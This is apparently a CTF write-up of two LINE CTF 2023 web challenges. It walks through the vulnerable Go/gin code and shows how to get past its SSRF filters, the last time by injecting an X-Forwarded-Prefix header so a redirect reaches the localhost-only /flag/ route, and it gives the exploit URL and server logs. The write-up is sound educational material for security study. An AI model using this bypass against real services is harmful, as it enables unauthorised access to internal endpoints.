Line CTF 2023 Write Up

Posted on Mar 26, 2023

These two challenges require reading flag in the /flag/ path via SSRF.


(Web) Baby Simple Gocurl

n.startsWith("https://") || n.startsWith("http://") ? window.open(n, "_self") : r.router.set(a.redirect_link ? n : "/portal")
	r.GET("/flag/", func(c *gin.Context) {
		reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]

		log.Println("[+] IP : " + reqIP)
		if reqIP == "127.0.0.1" {
			c.JSON(http.StatusOK, gin.H{
				"message": flag,
			})
			return
		}

		c.JSON(http.StatusBadRequest, gin.H{
			"message": "You are a Guest, This is only for Host",
		})
	})

first, to read the Flag, a request must be made using the 127.0.0.1 IP.

	r.GET("/curl/", func(c *gin.Context) {
		client := &http.Client{
			CheckRedirect: func(req *http.Request, via []*http.Request) error {
				return redirectChecker(req, via)
			},
		}

		reqUrl := strings.ToLower(c.Query("url"))
		reqHeaderKey := c.Query("header_key")
		reqHeaderValue := c.Query("header_value")
		reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
		fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue)

		if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

		req, err := http.NewRequest("GET", reqUrl, nil)
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

		if reqHeaderKey != "" || reqHeaderValue != "" {
			req.Header.Set(reqHeaderKey, reqHeaderValue)
		}

		resp, err := client.Do(req)
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

		defer resp.Body.Close()

		bodyText, err := ioutil.ReadAll(resp.Body)
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}
		statusText := resp.Status

		c.JSON(http.StatusOK, gin.H{
			"body":   string(bodyText),
			"status": statusText,
		})
	})

in this challenge, we can use the http module to send a request to the desired web service and get the response value.

Get the parameter values of url, header_key, and header_value from the parameters received from the user.

		if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

but this challenge has a validation process as above. The IP of the user we currently delivered must be 127.0.0.1, and the characters flag, curl, % must not be included in the url value we sent.

if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%"))

oops but the conditional statement is a bit weird. we can bypass this by making it operate like false && true.

// https://github.com/gin-gonic/gin/blob/457fabd7e14f36ca1b5f302f7247efeb4690e49c/context.go#L768

// ClientIP implements one best effort algorithm to return the real client IP.
// It calls c.RemoteIP() under the hood, to check if the remote IP is a trusted proxy or not.
// If it is it will then try to parse the headers defined in Engine.RemoteIPHeaders (defaulting to [X-Forwarded-For, X-Real-Ip]).
// If the headers are not syntactically valid OR the remote IP does not correspond to a trusted proxy,
// the remote IP (coming from Request.RemoteAddr) is returned.

There is a comment as above in the part where the ClientIP() function is defined.


(Web) Adult Simple Gocurl

		if strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%") {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

all the code in this challenge is the same as baby. but the difference is the conditional statement above. we can’t bypass the conditional now

		if reqHeaderKey != "" || reqHeaderValue != "" {
			req.Header.Set(reqHeaderKey, reqHeaderValue)
		}

But we can add any HTTP headers we want using header append logic

=> https://issues.redhat.com/browse/UNDERTOW-990?workflowName=GIT+Pull+Request+workflow+&stepId=5

For request which is redirected to index.html:
$ curl -I -X GET  --header "X-Forwarded-Prefix: /test-service" "http://localhost:8624/docs"

Current result is:
HTTP/1.1 302 Found
Location: http://localhost:8624/docs/index.html

but should be:
HTTP/1.1 302 Found
Location: http://localhost:8624/test-service/docs/index.html

Let’s see the above before the exploit. we can see that it sets the X-Forwarded-Prefix: /test-service header when requesting /docs. as a result, the location to be redirected normally is /docs/index.html, but it is redirected to /test-service/docs/index.html.

in other words, if we send a request to a place that returns a 302 response and send the X-Forwarded-Prefix header together, we can send the request to the desired path.

[GIN-debug] redirecting request 301: / --> /
[GIN] 2023/03/26 - 13:27:32 | 200 |    1.877625ms |       127.0.0.1 | GET      "/"
[GIN] 2023/03/26 - 13:27:32 | 200 |    3.854083ms |       127.0.0.1 | GET      "/curl/?url=http://127.0.0.1:8080//"

if we send a request to http://127.0.0.1:8080//, we can see a 302 redirect back to the normalized path after normalizing the path. we figured out how to send a request to a place with a redirect response.

[GIN-debug] redirecting request 301: /flag// --> /flag//
2023/03/26 13:29:25 [+] IP : 127.0.0.1
[GIN] 2023/03/26 - 13:29:25 | 200 |      41.625µs |       127.0.0.1 | GET      "/flag/"
[GIN] 2023/03/26 - 13:29:25 | 200 |     980.917µs |       127.0.0.1 | GET      "/curl/?url=http://127.0.0.1:8080//&header_key=X-Forwarded-Prefix&header_value=/flag"

if we send a request like http://localhost:8080/curl/?url=http://127.0.0.1:8080//&header_key=X-Forwarded-Prefix&header_value=/flag, the redirect is executed. We can see that during this process we normalize the path using the X-Forwarded-Prefix header and send the request to /flag/.